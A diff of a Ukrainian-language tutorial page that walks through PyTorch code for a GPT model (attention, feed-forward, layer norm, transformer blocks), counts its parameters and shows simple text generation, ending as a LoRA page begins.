||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **GELU Активізаційна Функція**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **GELU (Гаусова Помилка Лінійний Одиниця):** Активаційна функція, яка вводить нелінійність у модель.
|
||||
* **Плавна Активація:** На відміну від ReLU, яка обнуляє негативні вхідні дані, GELU плавно відображає вхідні дані на виходи, дозволяючи невеликі, ненульові значення для негативних вхідних даних.
|
||||
* **Математичне Визначення:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Мета використання цієї функції після лінійних шарів всередині шару FeedForward полягає в тому, щоб змінити лінійні дані на нелінійні, щоб дозволити моделі вивчати складні, нелінійні зв'язки.
|
||||
{% endhint %}
|
||||
|
||||
### **FeedForward Нейронна Мережа**
|
||||
|
||||
_Форми були додані як коментарі для кращого розуміння форм матриць:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **Позиційна FeedForward мережа:** Застосовує двошарову повністю з'єднану мережу до кожної позиції окремо та ідентично.
|
||||
* **Деталі Шарів:**
|
||||
* **Перший Лінійний Шар:** Розширює розмірність з `emb_dim` до `4 * emb_dim`.
|
||||
* **Активація GELU:** Застосовує нелінійність.
|
||||
* **Другий Лінійний Шар:** Зменшує розмірність назад до `emb_dim`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Як ви можете бачити, мережа Feed Forward використовує 3 шари. Перший - це лінійний шар, який множить розміри на 4, використовуючи лінійні ваги (параметри для навчання всередині моделі). Потім функція GELU використовується у всіх цих вимірах, щоб застосувати нелінійні варіації для захоплення багатших представлень, і нарешті, ще один лінійний шар використовується для повернення до початкового розміру вимірів.
|
||||
{% endhint %}
|
||||
|
||||
### **Механізм Багатоголової Уваги**
|
||||
|
||||
Це вже було пояснено в попередньому розділі.
|
||||
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **Багатоголова Самоувага:** Дозволяє моделі зосереджуватися на різних позиціях у вхідній послідовності під час кодування токена.
|
||||
* **Ключові Компоненти:**
|
||||
* **Запити, Ключі, Значення:** Лінійні проекції вхідних даних, які використовуються для обчислення оцінок уваги.
|
||||
* **Голови:** Кілька механізмів уваги, що працюють паралельно (`num_heads`), кожен з зменшеною розмірністю (`head_dim`).
|
||||
* **Оцінки Уваги:** Обчислюються як скалярний добуток запитів і ключів, масштабованих і замаскованих.
|
||||
* **Маскування:** Застосовується каузальна маска, щоб запобігти моделі звертатися до майбутніх токенів (важливо для авторегресивних моделей, таких як GPT).
|
||||
* **Ваги Уваги:** Softmax замаскованих і масштабованих оцінок уваги.
|
||||
* **Контекстний Вектор:** Вагова сума значень відповідно до ваг уваги.
|
||||
* **Вихідна Проекція:** Лінійний шар для об'єднання виходів усіх голів.
|
||||
|
||||
{% hint style="info" %}
|
||||
Мета цієї мережі - знайти відносини між токенами в одному контексті. Більше того, токени діляться на різні голови, щоб запобігти перенавчанню, хоча фінальні відносини, знайдені для кожної голови, об'єднуються в кінці цієї мережі.
|
||||
|
||||
Крім того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, і також застосовується **dropout** для **запобігання перенавчанню**.
|
||||
{% endhint %}
|
||||
|
||||
### **Нормалізація** Шарів
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **Layer Normalization:** Техніка, що використовується для нормалізації вхідних даних по ознаках (вимірах вбудовування) для кожного окремого прикладу в партії.
|
||||
* **Компоненти:**
|
||||
* **`eps`:** Маленька константа (`1e-5`), додана до дисперсії, щоб запобігти діленню на нуль під час нормалізації.
|
||||
* **`scale` та `shift`:** Навчальні параметри (`nn.Parameter`), які дозволяють моделі масштабувати та зміщувати нормалізований вихід. Вони ініціалізуються одиницями та нулями відповідно.
|
||||
* **Процес Нормалізації:**
|
||||
* **Обчислення Середнього (`mean`):** Обчислює середнє значення вхідного `x` по виміру вбудовування (`dim=-1`), зберігаючи вимір для трансляції (`keepdim=True`).
|
||||
* **Обчислення Дисперсії (`var`):** Обчислює дисперсію `x` по виміру вбудовування, також зберігаючи вимір. Параметр `unbiased=False` забезпечує, що дисперсія обчислюється за допомогою упередженого оцінювача (ділення на `N` замість `N-1`), що є доречним при нормалізації по ознаках, а не зразках.
|
||||
* **Нормалізація (`norm_x`):** Віднімає середнє від `x` і ділить на квадратний корінь з дисперсії плюс `eps`.
|
||||
* **Масштабування та Зміщення:** Застосовує навчальні параметри `scale` та `shift` до нормалізованого виходу.
|
||||
|
||||
{% hint style="info" %}
|
||||
Мета полягає в забезпеченні середнього значення 0 з дисперсією 1 по всіх вимірах одного токена. Мета цього - **стабілізувати навчання глибоких нейронних мереж** шляхом зменшення внутрішнього зміщення коваріат, що відноситься до зміни розподілу активацій мережі через оновлення параметрів під час навчання.
|
||||
{% endhint %}
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
_Форми були додані як коментарі для кращого розуміння форм матриць:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **Складення Шарів:** Поєднує багатоголову увагу, мережу прямого проходження, нормалізацію шару та залишкові з'єднання.
|
||||
* **Нормалізація Шару:** Застосовується перед шарами уваги та прямого проходження для стабільного навчання.
|
||||
* **Залишкові З'єднання (Швидкі З'єднання):** Додають вхід шару до його виходу для покращення потоку градієнтів та можливості навчання глибоких мереж.
|
||||
* **Випадкове Вимкнення:** Застосовується після шарів уваги та прямого проходження для регуляризації.
|
||||
|
||||
#### **Покрокова Функціональність**
|
||||
|
||||
1. **Перший Залишковий Шлях (Само-Увага):**
|
||||
* **Вхід (`shortcut`):** Зберегти оригінальний вхід для залишкового з'єднання.
|
||||
* **Нормалізація Шару (`norm1`):** Нормалізувати вхід.
|
||||
* **Багатоголова Увага (`att`):** Застосувати само-увагу.
|
||||
* **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення для регуляризації.
|
||||
* **Додати Залишок (`x + shortcut`):** Об'єднати з оригінальним входом.
|
||||
2. **Другий Залишковий Шлях (Пряме Проходження):**
|
||||
* **Вхід (`shortcut`):** Зберегти оновлений вхід для наступного залишкового з'єднання.
|
||||
* **Нормалізація Шару (`norm2`):** Нормалізувати вхід.
|
||||
* **Мережа Прямого Проходження (`ff`):** Застосувати перетворення прямого проходження.
|
||||
* **Випадкове Вимкнення (`drop_shortcut`):** Застосувати випадкове вимкнення.
|
||||
* **Додати Залишок (`x + shortcut`):** Об'єднати з входом з першого залишкового шляху.
|
||||
|
||||
{% hint style="info" %}
|
||||
Блок трансформера об'єднує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові вимкнення** для покращення стабільності навчання та результатів.\
|
||||
Зверніть увагу, що випадкові вимкнення виконуються після використання кожної мережі, тоді як нормалізація застосовується перед.
|
||||
|
||||
Крім того, він також використовує швидкі з'єднання, які полягають у **додаванні виходу мережі до її входу**. Це допомагає запобігти проблемі зникнення градієнта, забезпечуючи, щоб початкові шари вносили "стільки ж", скільки останні.
|
||||
{% endhint %}
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Форми були додані як коментарі для кращого розуміння форм матриць:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Мета та Функціональність**
|
||||
|
||||
* **Embedding Layers:**
|
||||
* **Token Embeddings (`tok_emb`):** Перетворює індекси токенів на embeddings. Нагадаємо, це ваги, які надаються кожному виміру кожного токена в словнику.
|
||||
* **Positional Embeddings (`pos_emb`):** Додає позиційну інформацію до embeddings, щоб зафіксувати порядок токенів. Нагадаємо, це ваги, які надаються токену відповідно до його позиції в тексті.
|
||||
* **Dropout (`drop_emb`):** Застосовується до embeddings для регуляризації.
|
||||
* **Transformer Blocks (`trf_blocks`):** Стек з `n_layers` трансформерних блоків для обробки embeddings.
|
||||
* **Final Normalization (`final_norm`):** Нормалізація шару перед вихідним шаром.
|
||||
* **Output Layer (`out_head`):** Проектує фінальні приховані стани на розмір словника для отримання логітів для прогнозування.
|
||||
|
||||
{% hint style="info" %}
|
||||
Мета цього класу полягає в тому, щоб використовувати всі інші згадані мережі для **прогнозування наступного токена в послідовності**, що є основоположним для завдань, таких як генерація тексту.
|
||||
|
||||
Зверніть увагу, як він **використовуватиме стільки трансформерних блоків, скільки вказано**, і що кожен трансформерний блок використовує одну мережу з багатоголовим увагою, одну мережу прямого проходження та кілька нормалізацій. Тож, якщо використовується 12 трансформерних блоків, помножте це на 12.
|
||||
|
||||
Крім того, **шар нормалізації** додається **перед** **виходом**, а фінальний лінійний шар застосовується в кінці, щоб отримати результати з правильними розмірами. Зверніть увагу, що кожен фінальний вектор має розмір використаного словника. Це тому, що він намагається отримати ймовірність для кожного можливого токена в словнику.
|
||||
{% endhint %}
|
||||
|
||||
## Кількість параметрів для навчання
|
||||
|
||||
Маючи визначену структуру GPT, можна дізнатися кількість параметрів для навчання:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Покроковий Розрахунок**
|
||||
|
||||
#### **1. Вкладки Векторів: Векторне Вкладення та Позиційне Вкладення**
|
||||
|
||||
* **Шар:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
* **Параметри:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
* **Шар:** `nn.Embedding(context_length, emb_dim)`
|
||||
* **Параметри:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Загальна кількість параметрів вбудовування**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Transformer Blocks**
|
||||
|
||||
Є 12 блоків трансформера, тому ми розрахуємо параметри для одного блоку, а потім помножимо на 12.
|
||||
|
||||
**Параметри на один блок трансформера**
|
||||
|
||||
**a. Багатоголове увага**
|
||||
|
||||
* **Компоненти:**
|
||||
* **Лінійний шар запиту (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Лінійний шар ключа (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Лінійний шар значення (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Вихідна проекція (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
* **Розрахунки:**
|
||||
* **Кожен з `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Оскільки є три такі шари:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
* **Вихідна проекція (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
* **Загальна кількість параметрів багатоголової уваги:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. Мережа зворотного зв'язку**
|
||||
|
||||
* **Компоненти:**
|
||||
* **Перший лінійний шар:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
* **Другий лінійний шар:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
* **Розрахунки:**
|
||||
* **Перший лінійний шар:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
* **Другий лінійний шар:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
* **Загальна кількість параметрів зворотного зв'язку:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Нормалізації шару**
|
||||
|
||||
* **Компоненти:**
|
||||
* Два екземпляри `LayerNorm` на блок.
|
||||
* Кожен `LayerNorm` має `2 * emb_dim` параметрів (масштаб і зсув).
|
||||
* **Розрахунки:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Загальна кількість параметрів на один блок трансформера**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Загальна кількість параметрів для всіх блоків трансформера**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Остаточні шари**
|
||||
|
||||
**a. Нормалізація остаточного шару**
|
||||
|
||||
* **Параметри:** `2 * emb_dim` (масштаб і зсув)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Вихідний проекційний шар (`out_head`)**
|
||||
|
||||
* **Шар:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
* **Параметри:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Підсумування всіх параметрів**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Генерація тексту
|
||||
|
||||
Маючи модель, яка передбачає наступний токен, як і попередній, потрібно просто взяти останні значення токенів з виходу (оскільки вони будуть значеннями передбаченого токена), які будуть **значенням на запис у словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого запису, який буде індексом слова в словнику.
|
||||
|
||||
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
|
@ -0,0 +1,61 @@
|
|||
# 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
## LoRA Improvements
|
||||
|
||||
{% hint style="success" %}
|
||||
Використання **LoRA значно зменшує обчислення**, необхідні для **додаткового налаштування** вже навчених моделей.
|
||||
{% endhint %}
|
||||
|
||||
LoRA робить можливим ефективне **додаткове налаштування великих моделей**, змінюючи лише **невелику частину** моделі. Це зменшує кількість параметрів, які потрібно навчати, заощаджуючи **пам'ять** та **обчислювальні ресурси**. Це відбувається тому, що:
|
||||
|
||||
